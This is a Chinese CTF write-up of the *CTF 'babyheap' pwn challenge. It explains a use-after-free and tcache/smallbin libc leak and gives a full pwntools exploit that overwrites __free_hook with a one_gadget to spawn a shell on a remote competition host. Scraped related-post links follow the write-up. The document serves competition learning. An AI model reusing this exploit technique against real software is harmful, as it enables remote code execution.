*CTF pwn write up
第一次做出XCTF的题目来,感谢wjh师傅的指点,虽然只做出一道最简单的pwn题,但是还是挺开心的。此贴用来记录一下,赛后试着看看其他大师傅的wp,看看能不能再做出一道题来。
babyheap
程序有add、delete、show、edit功能。
在add函数只能创建0x10-0x60大小的chunk。
delete函数存在uaf漏洞。
show函数平平无奇。
edit函数只能往chunk+8的位置进行写,就是在free之后不能直接利用uaf漏洞改写fd指针。
还有一个函数是leavename函数,此函数创建了一个0x400大小的chunk,里面存name。
知识点:当存在fastbins时,申请一个比较大的chunk,会将fastbins合并放到smallbins看看大小够不够分配,如果够的话就会用这个chunk,如果不够的话,再从top chunk里面切割。这里smallbins会存放libc的一些地址,加上uaf可以leak libc。
思路:先把0x60的tcache填满,在搞一个fastbins,这个时候调用leavename函数,让fastbins进入smallbins,此时leak libc基地址,这个smallbins也是0x60大小,之后申请比较小的chunk,会对smallbins进行切割,这个时候,利用uaf就可以写这些比较小的chunk的fd指针,将fd改成free_hook-0x8,把chunk申请过去,修改free_hook为onegadgets,执行delete就能拿到shell了。
exp:
1 from pwn import *
2
3 #p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so"})
4 #p = process('./pwn')
5 p = remote('52.152.231.198',8081)
6 elf = ELF('./pwn')
7 libc = ELF('./libc.so')
8 context(os='linux',arch='amd64',log_level='debug')
9
10 def duan():
11 gdb.attach(p)
12 pause()
13 def add(index,size):
14 p.sendlineafter('>> \n','1')
15 p.sendlineafter('index\n',str(index))
16 p.sendlineafter('size\n',str(size))
17 def delete(index):
18 p.sendlineafter('>> \n','2')
19 p.sendlineafter('index\n',str(index))
20 def edit(index,content):
21 p.sendlineafter('>> \n','3')
22 p.sendlineafter('index\n',str(index))
23 p.sendafter('content\n',content)
24 def show(index):
25 p.sendlineafter('>> \n','4')
26 p.sendlineafter('index\n',str(index))
27 def leavename(name):
28 p.sendlineafter('>> \n','5')
29 p.sendafter('name:\n',name)
30 def showname():
31 p.sendlineafter('>> \n','6')
32
33 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
34 og = [0x4f3d5,0x4f432,0x10a41c]
35
36 add(0,0x50)
37 add(1,0x50)
38 add(2,0x50)
39 add(3,0x50)
40 add(4,0x50)
41 add(5,0x50)
42 add(6,0x50)
43 add(7,0x50)
44 add(8,0x10)
45 delete(0)
46 delete(1)
47 delete(2)
48 delete(3)
49 delete(4)
50 delete(5)
51 delete(6)
52 delete(7)
53
54 leavename('bhxdn')
55 show(7)
56 libc_base = u64(p.recv(6).ljust(8,'\x00'))-176-0x10-libc.symbols['__malloc_hook']
57 print 'libc_base-->'+hex(libc_base)
58 shell = libc_base+og[1]
59 free_hook = libc_base+libc.symbols['__free_hook']
60
61 add(6,0x50)
62 add(5,0x50)
63 add(4,0x50)
64 add(3,0x50)
65 add(2,0x50)
66 add(1,0x50)
67 add(0,0x50)
68
69 add(9,0x10)
70 add(10,0x10)
71 delete(9)
72 delete(10)
73 edit(7,'aaaaaaaa'+p64(0)+p64(0x21)+p64(free_hook-0x8))
74 print 'libc_base-->'+hex(libc_base)
75 print 'free_hook-->'+hex(free_hook)
76 add(9,0x10)
77 add(10,0x10)
78 edit(10,p64(shell))
79 delete(0)
80 p.interactive()

*CTF pwn write up的更多相关文章
- 由一道CTF pwn题深入理解libc2.26中的tcache机制
本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...
- ctf pwn ida 分析技巧
几年前的笔记,搬运过来 --- 1 先根据运行程序得到的信息命名外围函数,主要函数大写开头 2 /添加注释 3 直接vim程序,修改alarm为isnan可以patch掉alarm函数 4 y 可 ...
- CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- pwn入门之栈溢出练习
本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路 ...
- PWN入门
pwn ”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统 .发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵.以上是从百度百科上面抄的简介, ...
- 见微知著(一):解析ctf中的pwn--Fast bin里的UAF
在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...
- 百度杯 十一月 的一道pwn题复现
拿到题后,就直接开鲁.. /ctf/pwn# checksec pwnme [*] '/ctf/pwn/pwnme' Arch: amd64--little RELRO: Full RELRO Sta ...
- 使用pwn_deploy_chroot部署国赛pwn比赛题目
目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...
- pwn学习日记Day16 pwn原理理解
CTF-Pwn入门及栈溢出原理解释 CTF pwn 中最通俗易懂的堆入坑指南 看雪论坛
随机推荐
- JDBC操作多张表一
一.操作一对多情况开发步骤1创建对象 //代码部门的对象public class Department { private String id; private String name; privat ...
- 一文详解MySQL的锁机制
一.表级锁.行级锁.页级锁 数据库锁定机制简单来说,就是数据库为了保证数据的一致性,而使各种共享资源在被并发访问变得有序所设计的一种规则. MySQL数据库由于其自身架构的特点,存在多种数据存储引擎, ...
- AOP实现方式二
applicationContext.xml <!--方法二 自定义类--> <bean id="diyPointCut" class="com.sha ...
- git添加新工程
git init git remote add origin 码云路径 git pull origin master 代码拉本地后 git add . git commit -m '新添加的文件内容描 ...
- Sql server 删除重复记录的SQL语句
原文地址:https://www.cnblogs.com/luohoufu/archive/2008/06/05/1214286.html 在项目开发过程中有个模块日清表页面数据重复,当时那个页面的数 ...
- Kubernetes容器编排探索与实践v1.22.1-上半部分
概述 **本人博客网站 **IT小神 www.itxiaoshen.com Kubernetes官网地址 https://kubernetes.io Kubernetes GitHub源码地址 htt ...
- C 语言do while 循环
do while 循环小练习 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main(void) 5 { 6 int a ...
- Python中类的各式方法介绍
本文类的方法介绍包括类方法.属性方法.静态方法.修改属性方法等内置装饰器装饰的方法,以及类的一些特殊成员方法 1. 类的特殊成员方法 1.1 构造方法 # -*- coding:utf-8 -*- # ...
- C#表头固定
<%@ Control Language="C#" AutoEventWireup="true" CodeFile="info.ascx.cs& ...
- 14 - springboot的@Configuration、@Bean、@Import()、@ImportResource()、@Conditional说明
1.@Configuration.@Bean.@Import().@ImportResource().@Conditional 分析源码的时候总会见到标题中的这几个注解,因此:弄一篇博客来说明一下吧, ...